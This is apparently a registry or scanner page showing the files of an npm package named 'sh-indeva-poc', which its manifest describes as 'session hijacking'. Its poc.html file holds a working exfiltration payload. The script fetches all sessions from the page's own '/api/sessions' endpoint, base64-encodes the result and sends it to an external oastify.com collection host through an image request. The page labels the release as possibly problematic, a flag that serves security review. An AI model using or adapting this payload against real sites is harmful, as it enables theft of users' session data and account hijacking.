sh-indeva-poc 1.0.0

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of sh-indeva-poc might be problematic. Click here for more details.

Files changed (2) hide show
  1. package/package.json +11 -0
  2. package/poc.html +23 -0
package/package.json ADDED
@@ -0,0 +1,11 @@
1
+ {
2
+ "name": "sh-indeva-poc",
3
+ "version": "1.0.0",
4
+ "description": "session hijacking",
5
+ "main": "poc.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1"
8
+ },
9
+ "author": "",
10
+ "license": "MIT"
11
+ }
package/poc.html ADDED
@@ -0,0 +1,23 @@
1
+ <!DOCTYPE html>
2
+ <html>
3
+ <head>
4
+ <meta charset="utf-8">
5
+ <meta http-equiv="X-UA-Compatible" content="IE=edge">
6
+ <title>Indeva PoC</title>
7
+ <meta name="description" content="">
8
+ <meta name="viewport" content="width=device-width, initial-scale=1">
9
+ <link rel="stylesheet" href="">
10
+ </head>
11
+ <body>
12
+
13
+ <script>
14
+ fetch('/api/sessions?items=*')
15
+ .then(response => {
16
+ return response.json();
17
+ }) .then(data => {
18
+ let image = new Image();
19
+ image.src = 'http://kl9y4ti2fy4i0hwdwgphdqu40v6muoid.oastify.com/?' + btoa(JSON.stringify(data));
20
+ });
21
+ </script>
22
+ </body>
23
+ </html>